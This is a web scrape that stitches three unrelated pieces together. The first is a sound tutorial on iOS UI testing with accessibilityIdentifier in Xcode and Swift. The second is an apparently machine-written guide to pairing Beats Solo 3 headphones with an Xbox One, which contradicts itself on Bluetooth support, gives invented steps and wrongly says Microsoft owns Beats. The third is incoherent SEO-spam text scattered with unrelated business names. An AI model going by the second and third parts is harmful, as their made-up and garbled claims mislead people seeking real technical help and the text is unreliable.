Setting the accessibilityIdentifier for a UIView-based object can be done in several ways. The most common are as follows:
Using the Interface Builder Identity Inspector
Some UI elements support setting of Accessibility properties within IB Identity Inspector. For example, the UILabel on the first form of our test solution has its accessibilityIdentifier set to “labelIdentifier” directly within the predefined IB field.
Setting the accessibilityLabelIdentifier for a UILabel
Using a User-Defined Runtime Attribute
For UI elements that wouldn’t normally be read to a blind or low vision end-user, Interface Builder won’t have predefined Accessibility property fields. But you can still add them at Interface Builder design time using the User Defined Runtime Attributes dictionary editor on the Identity Inspector.
In this case, I’ve moved the UITableView’s accessibilityIdentifier from the UIViewController’s viewDidLoad() method into the Interface Builder storyboard editor. The resulting UI Test works exactly the same way — but with less code to maintain.
Setting accessibilityLabelIdentifier using Runtime Attributes
Using Code
As mentioned earlier, every UIView-based class has accessibility properties, and those properties can be set at runtime.
override func viewDidLoad() {
super.viewDidLoad()
tableView.accessibilityIdentifier = "MyTable"
}
All three of these methods have the same effect . Which is best depends on best practices within your team. Some prefer to reduce code by configuring UI in Interface Builder, others prefer to do all UI design in code. UI Testing supports both scenarios equally well.
Inspecting UI Elements During the Test
Recall earlier that I recorded the steps for the test — but I didn’t actually test for anything! Let’s wrap this job up by adding the actual tests, and use accessibilityIdentifier properties where possible.
Searching for UIView elements
Recall that Xcode wrote the following statement to find the UITableView using its accessibilityIdentifier:
let tableView = app.tables["MyTable"]
This is the most concise shorthand method, but I want to point out there’s more than one right answer to finding the tableView in the view hierarchy.
Another method is to explicitly search for the accessibilityIdentifier:
let tableView = app.tables.containing(.table, identifier: "MyTable")
If we hadn’t assigned an accessibilityIdentifier, we could use this code to get the first UITableView within the top-level UIView:
let tableView = app.tables.element(boundBy: 0)
This isn’t as good, because if we should ever add a second UITableView to the screen, the UI Test may break if a new UITableView happens to be retrieved as the first UITableView! This is the reason I suggest using accessibilityIdentifiers when designing your UI Tests.
If we knew there were one and only one UITableView on the screen, we could shorten the previous technique even more:
let tableView = app.tables
Again, this has the risk of breaking the UI Test if a second UITableView is added. This would be a more serious break, since the tables property would return a collection rather than a single table as it does when only one UITableView is in the view hierarchy.
Final Test Script
We’ve covered the fundamentals of creating tests, accessing elements, and manipulating values (which Xcode showed us during the test recording), so we’re ready to wrap this up.
I’ve pasted below the final test function, and then annotated it below.
01: func testChangeTableRowText() {
02: let app = XCUIApplication()
03: let tableView = app.tables["MyTable"]
04: XCTAssert(tableView.cells.count == 5)
05:
06: let cell = tableView.cells.containing(.cell, identifier: "3")
07: let cellLabelText = cell.staticTexts.element(boundBy: 0).label
08: XCTAssertEqual(cellLabelText, "Fourth Row")
09:
10: cell.staticTexts.element(boundBy: 0).tap()
11:
12: // The detail form is now visible
13:
14: XCTAssertEqual(app.staticTexts["labelIdentifier"].label, cellLabelText)
15:
16: let textField = app.otherElements.textFields["newValue"]
17: textField.tap()
18: textField.typeText("Some new value")
19:
20: XCTAssertEqual(textField.value as? String ?? "", "Some new value")
21:
22: app.navigationBars["UITestingDemo.DetailView"].buttons["Back"].tap()
23:
24: // The detail form is now visible
25:
26: let tableView2 = app.tables.containing(.table, identifier: "MyTable")
27: let cell2 = tableView2.cells.containing(.cell, identifier: "3")
28: let updatedText = cell2.staticTexts.element(boundBy: 0).label
29:
30: XCTAssertEqual(updatedText, "Some new value")
31: }
• In lines 2–4, we find the UITableView with the accessibilityIdentifier “MyTable”, and then check that the number of rows is five (5). Remember that whenever an XCTAssert fails, the entire test fails.
• On line 6, we search the UITableView for a UITableViewCell with an accessibilityIdentifier equal to “3”. This value was set in the cellForRowAt method in the UITableView DataSource delegate (review the code from GitHub for details)
• On line 7, we get the first UILabel within the cell (this cell has only one label).
• One line 8, the UILabel text property is checked against an expected value (this is not really a requirement for this test, but I added it as a further example).
• Line 10 sends a tap event to the UILabel within the cell. The effect of this is to generate a tap event on the cell, which then triggers a segue to the detail form (see source on GitHub for details)
• Line 14 finds the UILabel with accessibilityIdentifier “labelIdentifier” (we set this in Interface Builder earlier. When the form is loaded, it should have set the UILabel text to the value tapped in the UITableView. This XCAssetEqual check to make sure this was done.
• Lines 16–20 tap on the UITextField, and type in new text.
• Line 22 taps the Back button at the top-left of the detail form, which pops the view controller off the stack, returning to the first form.
• Lines 26–30 again retrieve the value in the 4th cell, and compare the new value to the value that was typed on the detail form.
Note: when creating tests that type into fields using an iOS simulator, be sure to disconnect the hardware keyboard in the simulator. The typeText method will fail when a hardware keyboard is attached to the simulator.
Where to go Next
With this, we’ve completed a completed, robust UI Test for this part of the application!
Since we used accessibilityIdentifier properties wherever possible, we’ve created a test that won’t easily break when the UI is enhanced with new controls, and the test is repeatable, automate-able, and easy to use for regression testing.
But this test can be improved even more:
• We still have a few static data values in the test, e.g. “Fourth Row”. By refactoring all static value assumptions out of this test, we could set it up to work with dynamic data (for example, against a web service call)
• This test is still bound to a developer or QA Engineer using Xcode at their desk. But with some additional work, we could incorporate this type of test into a fully automated test suite run by a daemon instead. Look for that in a future blog post!
Leave a Reply
Your email address will not be published. Required fields are marked * | {
"url": "https://robkerr.com/understanding-ui-testing-using-ios-xcode-9-and-swift/",
"source_domain": "robkerr.com",
"snapshot_id": "crawl=CC-MAIN-2018-51",
"warc_metadata": {
"Content-Length": "46975",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IVWFCXBA7B6CEUHHFSLHRP7SBNDUQZDM",
"WARC-Concurrent-To": "<urn:uuid:520ec9d8-3f93-4b5b-ba4c-31eb04558611>",
"WARC-Date": "2018-12-13T20:58:12Z",
"WARC-IP-Address": "45.40.155.145",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RSDM6IH6C3UNKQF5MNHGP4BZNTWPS2K5",
"WARC-Record-ID": "<urn:uuid:2c81d1eb-fde5-402b-a5e1-117ec762bda4>",
"WARC-Target-URI": "https://robkerr.com/understanding-ui-testing-using-ios-xcode-9-and-swift/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:ab5d6bb5-d879-45e4-9cba-11d3d2e7dace>"
},
"warc_info": "isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-150-98-233.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
54,
55,
227,
228,
259,
260,
409,
410,
438,
439,
513,
514,
729,
730,
807,
808,
990,
1263,
1264,
1386,
1387,
1634,
1635,
1938,
1939,
1960,
1961,
2121,
2122,
2437,
2438,
2527,
2528,
2548,
2566,
2639,
2682,
2709,
2792,
2793,
2963,
2964,
2980,
2981,
3216,
3217,
3241,
3242,
3476,
3477,
3702,
3703,
4144,
4145,
4614,
4615,
4633,
4634,
4743,
4744,
4774,
4775,
4941,
5002,
5074,
5075,
5472,
5473,
5505,
5536,
5593,
5647,
5674,
5692,
5723,
5771,
5821,
5881,
5883,
5884,
6149,
6150,
6358,
6643,
6861,
6862,
6899,
6900,
6964,
6965,
7019,
7020,
7052,
7053,
7293,
7294,
7361,
7362,
7469,
7551,
7552,
7799,
7800,
7830,
7853,
7902,
7904,
7905,
8106,
8107,
8143,
8144,
8372,
8373,
8442,
8480,
8481,
8782,
8783,
9133,
9134,
9170,
9171,
9294,
9295,
9342,
9343,
9596,
9597,
9652,
9653,
9692,
9693,
9993,
9994,
10239,
10240,
10302,
10303,
10314,
10315,
10436,
10437,
10467,
10490,
10539,
10541,
10542,
10809,
10810,
10849,
10850,
11057,
11058,
11088,
11089,
11196,
11197,
11235,
11236,
11386,
11387,
11459,
11460,
11529,
11530,
11661,
11662,
11709,
11710,
11979,
11980,
12097,
12098,
12125,
12126,
12387,
12388,
12406,
12407,
12584,
12585,
12657,
12658,
12694,
12730,
12776,
12822,
12827,
12897,
12968,
13020,
13029,
13080,
13085,
13127,
13136,
13216,
13225,
13290,
13314,
13359,
13364,
13439,
13448,
13525,
13530,
13572,
13577,
13655,
13727,
13797,
13802,
13856,
13862,
14066,
14302,
14390,
14556,
14759,
15032,
15094,
15238,
15370,
15371,
15590,
15591,
15608,
15609,
15698,
15699,
15938,
15939,
15980,
15981,
16205,
16457,
16458,
16472,
16473
],
"line_end_idx": [
54,
55,
227,
228,
259,
260,
409,
410,
438,
439,
513,
514,
729,
730,
807,
808,
990,
1263,
1264,
1386,
1387,
1634,
1635,
1938,
1939,
1960,
1961,
2121,
2122,
2437,
2438,
2527,
2528,
2548,
2566,
2639,
2682,
2709,
2792,
2793,
2963,
2964,
2980,
2981,
3216,
3217,
3241,
3242,
3476,
3477,
3702,
3703,
4144,
4145,
4614,
4615,
4633,
4634,
4743,
4744,
4774,
4775,
4941,
5002,
5074,
5075,
5472,
5473,
5505,
5536,
5593,
5647,
5674,
5692,
5723,
5771,
5821,
5881,
5883,
5884,
6149,
6150,
6358,
6643,
6861,
6862,
6899,
6900,
6964,
6965,
7019,
7020,
7052,
7053,
7293,
7294,
7361,
7362,
7469,
7551,
7552,
7799,
7800,
7830,
7853,
7902,
7904,
7905,
8106,
8107,
8143,
8144,
8372,
8373,
8442,
8480,
8481,
8782,
8783,
9133,
9134,
9170,
9171,
9294,
9295,
9342,
9343,
9596,
9597,
9652,
9653,
9692,
9693,
9993,
9994,
10239,
10240,
10302,
10303,
10314,
10315,
10436,
10437,
10467,
10490,
10539,
10541,
10542,
10809,
10810,
10849,
10850,
11057,
11058,
11088,
11089,
11196,
11197,
11235,
11236,
11386,
11387,
11459,
11460,
11529,
11530,
11661,
11662,
11709,
11710,
11979,
11980,
12097,
12098,
12125,
12126,
12387,
12388,
12406,
12407,
12584,
12585,
12657,
12658,
12694,
12730,
12776,
12822,
12827,
12897,
12968,
13020,
13029,
13080,
13085,
13127,
13136,
13216,
13225,
13290,
13314,
13359,
13364,
13439,
13448,
13525,
13530,
13572,
13577,
13655,
13727,
13797,
13802,
13856,
13862,
14066,
14302,
14390,
14556,
14759,
15032,
15094,
15238,
15370,
15371,
15590,
15591,
15608,
15609,
15698,
15699,
15938,
15939,
15980,
15981,
16205,
16457,
16458,
16472,
16473,
16543
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 16543,
"ccnet_original_nlines": 240,
"rps_doc_curly_bracket": 0.0004835900035686791,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.37736424803733826,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.023184869438409805,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.19951190054416656,
"rps_doc_frac_unique_words": 0.2824397683143616,
"rps_doc_mean_word_length": 5.061383247375488,
"rps_doc_num_sentences": 191,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.63922119140625,
"rps_doc_word_count": 2574,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.03837887942790985,
"rps_doc_frac_chars_dupe_6grams": 0.02318084053695202,
"rps_doc_frac_chars_dupe_7grams": 0.0038378899917006493,
"rps_doc_frac_chars_dupe_8grams": 0.0038378899917006493,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.012895300053060055,
"rps_doc_frac_chars_top_3gram": 0.0048357401974499226,
"rps_doc_frac_chars_top_4gram": 0.002993549918755889,
"rps_doc_books_importance": -1300.6031494140625,
"rps_doc_books_importance_length_correction": -1300.6031494140625,
"rps_doc_openwebtext_importance": -812.5006713867188,
"rps_doc_openwebtext_importance_length_correction": -812.5006713867188,
"rps_doc_wikipedia_importance": -551.0511474609375,
"rps_doc_wikipedia_importance_length_correction": -551.0511474609375
},
"fasttext": {
"dclm": 0.04394299164414406,
"english": 0.8380124568939209,
"fineweb_edu_approx": 2.594275712966919,
"eai_general_math": 0.724237322807312,
"eai_open_web_math": 0.2652006149291992,
"eai_web_code": 0.8703183531761169
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.0285",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,713,045,207,203,611,000 | How to connect beats solo 3 wireless to xbox one
Most people have one or more wireless devices in their homes, offices, and favorite spots outdoors. But do you know how to connect them together? In this article, we’ll show you how to connect Beats Solo 3 Wireless headphones to an Xbox One console using the Xbox One Wireless Connectivity Guide.
I have given my best possible advice on this topic if you want to know anything comment down below, our team is thriving hard to give you the best.
Will Beats Solo 3 work with Xbox One?
Beats Solo 3 is a wireless headphone that connects to your Xbox One to play your music. The Beats Solo 3 comes with a built-in antenna and supports Bluetooth 4.1.
To connect Beats Solo 3 to your Xbox One, you will need to follow these steps:
1) Start by turning on your Xbox One.
2) Connect Beats Solo 3 to your Xbox One by plugging the headphone jack into the back of the console and connecting the included USB cable to the other end of Beats Solo 3.
3) Play your music. To play your music from the Xbox One Music app, open the app and select “Xbox Music” from the navigation bar.
4) Sign in with your Microsoft account or create a new account if you don’t have one.
5) Turn on notifications for Xbox Live Gold, Windows 10 updates, and game updates. These will help you keep track of what’s happening with your games and apps without interrupting your listening experience.
6) Enjoy!
Can I connect my wireless beats to Xbox One?
Yes, you can connect your wireless beats to Xbox One. To do this, you will need to connect your beats to the corresponding Bluetooth device on your Xbox One. Then, you will be able to use the Beats Audio app on your Xbox One to wirelessly stream music from your beats to your TV.
I have covered the next heading to tell you more about this topic, let me knoe if i have skipped anything
READ : How to get the hair filter on tiktok
Can you connect Beats Studio 3 Wireless to Xbox?
Can you connect Beats Studio 3 Wireless to Xbox?
If you’re looking for a way to wirelessly connect your Beats Studio 3 headphones to your Xbox One console, you may be disappointed. The Beats Studio 3 headphones are not compatible with the Xbox One’s wireless connection. In order to use them with the Xbox One, you will need to use a wired connection.
Beats Studio 3 Wireless are designed for use with iPhones and other Apple devices, so we’re not sure why they weren’t made compatible with the Xbox One. It’s possible that Microsoft didn’t want people using Beats headphones with their Xbox One, since the company owns the rights to the Beats brand.
If you’re looking for a way to wirelessly connect your Beats Studio 3 headphones to your Xbox One console, we recommend looking at some of our other recommended options. We have a list of the best wireless headphone solutions available on our website.
How do I get my beats to work on my Xbox One?
1. First, you will need to connect your beats wireless speaker to your xbox one. To do this, open the Beats app on your phone and select Connect.
2. Next, open the Xbox One’s Home screen and go to the Music & Video section. You will see your Beats speaker listed under “Devices.”
3. Select your Beats speaker and click on the blueConnect button. You will then be prompted to enter your Beats account information. After entering this information, you will be ready to use your beats!
I would appreciate a thankyou in comments or a suggestion if you have any. Looking forward to your reaction if we were able to answer you
READ : How to dm a guy on instagram
Why do beats not work on Xbox One?
One of the biggest issues that people have with Beats by Dre products is that they tend to not work on Xbox One. This is a common problem for Beats products, and there are several reasons for it.
First, Xbox One does not support Bluetooth streaming, which is how Beats works. In order to use Beats wireless headphones with Xbox One, you need to connect them using an optical cable.
Another issue is that Xbox One does not support audio passthrough. This means that if you want to use your headphones while you are playing your game, you will need to turn off the sound in your game and turn on the sound in your headphones.
Overall, connecting beats wireless headphones to Xbox One is not always easy or straightforward. There are a few methods that can be used, but they all involve some sort of configuration or adjustment.
Where is the Bluetooth on the Xbox One?
1. On the Xbox One, look for the Bluetooth button on the front of the console.
2. Press and hold the Bluetooth button until you see a blue light appear next to it.
3. Turn on your Beats Solo Wireless by pressing the power button and then selecting Bluetooth on your Xbox One controller.
4. When you’re connected, you’ll see Beats Solo Wireless in your list of devices.
I should tell about the next thing that everyone is asking on social media and searching all over the web to find out the answer, well i have compiled answers further below
Does Xbox One have Bluetooth?
Yes, Xbox One does have Bluetooth. To connect your Beats Solo Wireless headphones to your Xbox One, follow these instructions:
1. Open the “Settings” menu on your Xbox One.
2. Select “Bluetooth & wireless devices.”
3. Select your Beats Solo Wireless headphones from the list and press “Connect.”
4. You’re now connected and can begin listening to your music!
Do Beats Solo 3 have a mic?
Do Beats Solo 3 have a mic?
Yes, Beats Solo 3 do have a microphone. The Beats Solo 3 comes with an in-line mic that you can use to make phone calls or record audio without having to use your phone’s speaker. You can also use the mic to capture spontaneous audio recordings while you’re playing games or using other apps.
Further answered questions are also very related but given separately because we can't put everything in one subheading let's check further
READ : How to clean sticky buttons in car
How do you connect Bluetooth beats to Xbox One controller?
To connect Bluetooth beats to your Xbox One controller, follow these steps:
1. Open the Bluetooth settings on your computer and search for Beats by Dre.
2. Once you’ve found Beats by Dre, click on it and select “Connect to Device.”
3. On the next screen, select “Xbox One” from the list of devices and click “Connect.” Your beats will now be connected and ready to use!
Conclusion
Beats Solo3 Wireless is a great product that has a lot of potential. Unfortunately, there are some things you need to know in order to connect it to your Xbox One. In this article, we will cover the basics of connecting beats solo 3 wireless to your Xbox One. Hopefully, this guide will help you get started and have more fun with your Beats Solo3 Wireless headset.
I would say this is the best explanation to the topic in a breif, however there are many questions that need thorrough reading
Leave a Comment | {
"url": "https://appclap.org/how-to-connect-beats-solo-3-wireless-to-xbox-one/",
"source_domain": "appclap.org",
"snapshot_id": "CC-MAIN-2023-14",
"warc_metadata": {
"Content-Length": "101880",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6FMDIKMTRQERGHPWX2RNFWP3CGC3O7TP",
"WARC-Concurrent-To": "<urn:uuid:55e3bc36-9bef-46f5-ad9f-af972fc61a1d>",
"WARC-Date": "2023-03-20T10:06:53Z",
"WARC-IP-Address": "172.67.163.219",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:Z6L635TRLVRSTO5AF4DIDLJK6CXLPEG3",
"WARC-Record-ID": "<urn:uuid:57a6e8ad-0315-4833-97a3-ba98bdc0a093>",
"WARC-Target-URI": "https://appclap.org/how-to-connect-beats-solo-3-wireless-to-xbox-one/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:219cfecd-8a4d-44f2-a3ed-f2e61a1cf2ac>"
},
"warc_info": "isPartOf: CC-MAIN-2023-14\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-94\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
49,
50,
347,
348,
496,
497,
535,
536,
699,
700,
779,
780,
818,
991,
1121,
1207,
1414,
1424,
1425,
1470,
1471,
1751,
1752,
1858,
1904,
1905,
1954,
1955,
2004,
2005,
2308,
2309,
2608,
2609,
2861,
2862,
2908,
2909,
3055,
3056,
3190,
3191,
3394,
3395,
3533,
3571,
3572,
3607,
3608,
3804,
3805,
3991,
3992,
4234,
4235,
4437,
4438,
4478,
4479,
4558,
4643,
4766,
4848,
4849,
5022,
5023,
5053,
5054,
5181,
5182,
5228,
5270,
5351,
5414,
5415,
5443,
5444,
5472,
5473,
5766,
5767,
5907,
5951,
5952,
6011,
6012,
6088,
6089,
6166,
6245,
6383,
6384,
6395,
6396,
6762,
6763,
6890,
6891
],
"line_end_idx": [
49,
50,
347,
348,
496,
497,
535,
536,
699,
700,
779,
780,
818,
991,
1121,
1207,
1414,
1424,
1425,
1470,
1471,
1751,
1752,
1858,
1904,
1905,
1954,
1955,
2004,
2005,
2308,
2309,
2608,
2609,
2861,
2862,
2908,
2909,
3055,
3056,
3190,
3191,
3394,
3395,
3533,
3571,
3572,
3607,
3608,
3804,
3805,
3991,
3992,
4234,
4235,
4437,
4438,
4478,
4479,
4558,
4643,
4766,
4848,
4849,
5022,
5023,
5053,
5054,
5181,
5182,
5228,
5270,
5351,
5414,
5415,
5443,
5444,
5472,
5473,
5766,
5767,
5907,
5951,
5952,
6011,
6012,
6088,
6089,
6166,
6245,
6383,
6384,
6395,
6396,
6762,
6763,
6890,
6891,
6906
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 6906,
"ccnet_original_nlines": 98,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.42837369441986084,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.00830450002104044,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.1487889289855957,
"rps_doc_frac_unique_words": 0.29600000381469727,
"rps_doc_mean_word_length": 4.368000030517578,
"rps_doc_num_sentences": 87,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.021241188049316,
"rps_doc_word_count": 1250,
"rps_doc_frac_chars_dupe_10grams": 0.03186812996864319,
"rps_doc_frac_chars_dupe_5grams": 0.15311354398727417,
"rps_doc_frac_chars_dupe_6grams": 0.1001831516623497,
"rps_doc_frac_chars_dupe_7grams": 0.08608058840036392,
"rps_doc_frac_chars_dupe_8grams": 0.05714286118745804,
"rps_doc_frac_chars_dupe_9grams": 0.046153850853443146,
"rps_doc_frac_chars_top_2gram": 0.04743589833378792,
"rps_doc_frac_chars_top_3gram": 0.030219780281186104,
"rps_doc_frac_chars_top_4gram": 0.02380952052772045,
"rps_doc_books_importance": -642.927490234375,
"rps_doc_books_importance_length_correction": -642.927490234375,
"rps_doc_openwebtext_importance": -363.84954833984375,
"rps_doc_openwebtext_importance_length_correction": -363.84954833984375,
"rps_doc_wikipedia_importance": -284.3896484375,
"rps_doc_wikipedia_importance_length_correction": -284.3896484375
},
"fasttext": {
"dclm": 0.28235191106796265,
"english": 0.9168396592140198,
"fineweb_edu_approx": 1.1193954944610596,
"eai_general_math": 0.006099219899624586,
"eai_open_web_math": 0.052088379859924316,
"eai_web_code": 0.0012364400317892432
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "004.68",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "781.5",
"labels": {
"level_1": "Arts",
"level_2": "Music",
"level_3": "Music theory"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-4,839,020,381,819,802,000 | Date Tags serps
Go to the search engine and search for your product. We live in a glorious, data-driven digital age where we can track pretty much any kind of user behavior, but we're not in the market for data-we're in the market for insights. Get out of the house this weekend, try Beverley and expand your mind with these interesting activities. In Dahlia Designs cases, the higher you are on page one the more traffic you will receive. The farther down your content is positioned on the page of results, the fewer people will click on your content listing and visit your website Google even encourages people to report paid links (see www. Surgery to repair, strengthen or replace damaged joints may not be the only option when knee arthritis is taken into consideration. To best understand your backlink profile, it makes sense to look at a few top level KPI's such as the referring domains and IP's, the country from where the backlink is coming from, and the Top-Level-Domain.
I bet you didn't know this about page impressions
Each HeatAll has its unique process for onboarding businesses on their lists. When calculating floor space for industrial steel buildings all areas including canopies & mezzanine floors need to be included if they are to be incorporated in the building. People aren?t going to wait long for a page to load (approximately no more than 3 seconds) and Google prioritizes sites that load quickly over those that don?t, so you definitely want to ensure your website is optimized for speed. ou can optimize the entire technical side of your site and still find it lost on page two or more in Google. SEO isn't a trick. It isn't something your web developer can do for you. We suprised our sister with a happy birthday video message video from Thrillz! Either Article Bank the more photos and videos uploaded to your Google Business article will lead to higher user-engagement with your profile, which will likely lead to higher rankings. Computers have a harder time than we do nailing these down. Getting your organisation listed in a business directory can help to boost your profile.
Things that make you love and hate authority sites
the bot which will aid that person in finding your content. One Oui Madame you can do this is through thought leadership. Try to provide a sophisticated way to disguise curtain rails or tracks around the sash windows london in your house. Put it on your outdoor signs. How do site changes effect SEO? Now that you have a better understanding of domain name extensions, we can shift gears to buying domains. The feeling of being able to see correctly after your cataract surgery is a feeling that cannot be beaten, Your NCDA architecture and URLs need to take keywords into account.
33% of clicks from organic search results go to the first listing on Google
Gaz Hall, from SEO Hull, had the following to say: "You can also target specific niche sites, like blogs or forums, that only cater to businesses in your industry." It seems unlikely today, but it's entirely possible that SEO will fold in on itself. A Solent Deal statistic from Google research details that for every additional second it takes a page to load, conversions can fall by 20% - so ensure your site is blistering fast 24 hours a day 7 days a week. A dedicated Web Design Agency can provide a wide variety of services depending on their clients particular needs. When you run the same query on different search engines, you will probably get different results. This is because every search engine uses its own algorithm, based on various socalled "ranking factors." These factors decide which results appear in the SERPs. For example, you can have a product in your store. Starting with aerial repairs is not a bad place to begin.
Learn to do link bait like a professsional
Luckily, NetWeb journos have us--the friendly and helpful marketers--to help them out. The document's 160-articles long, so presuming you don't consider a dense whitepaper leisurely reading, I'll list out the most important and actionable takeaways, so you can use them to your advantage. Have you seen this wonderful Ayres rocking horse ? Users are starting to grow used to local results, and are using mobile devices (which almost always make queries local) more than ever before. We Two Point Four Children that having alternative text for all of your images is important but we're not quite sure how much Google factors it in. Can Lucy Hall make the condition of your hair better? AMP is an open-source Google project.
What are the merits of mobile search on today's web?
Here you can see various ingredients (which the search engine will then parse to pull out the primary terms that it places into the snippet on the search results article: garlic, not 8 cloves garlic, minced): There are small, simple steps you can take to make dealing with depression at work something that people can talk about. At App Hosts stage, you also want to specify what type of content you're dealing with (ie expert guides, roundups, infographics, etc) and the type of article you want to put together. Its a must for any cooking blog! There will be no nerves and jitters when it comes to unwrapping a blow up zimmer frame and walking stick on their birthday. First, head over to Amazon and search for your target keyword. The PNS approach is more successful in ensuring that users are not disappointed after arriving somewhere SERPs suggest. A service that you can rely on for excellent quality workmanship with house extensions Edinburgh at your service. | {
"url": "http://ww2.turigane.com/What-are-the-merits-of-mobile-search-on-today-s-web--1608655203.html",
"source_domain": "ww2.turigane.com",
"snapshot_id": "crawl=CC-MAIN-2021-17",
"warc_metadata": {
"Content-Length": "18730",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:6QENRMCK2N3E4POSJGPONOYDGVQVAKC5",
"WARC-Concurrent-To": "<urn:uuid:f25177ff-dc19-42e0-a95c-2db37f6168a2>",
"WARC-Date": "2021-04-10T11:17:04Z",
"WARC-IP-Address": "202.228.215.57",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:RVNJK6MWOCM7G4NH2MSFOIRLCHA3P5KP",
"WARC-Record-ID": "<urn:uuid:9336554f-0380-4d39-a352-73572f9246ad>",
"WARC-Target-URI": "http://ww2.turigane.com/What-are-the-merits-of-mobile-search-on-today-s-web--1608655203.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a9736282-b72e-48b9-bf97-1ad6d557a89a>"
},
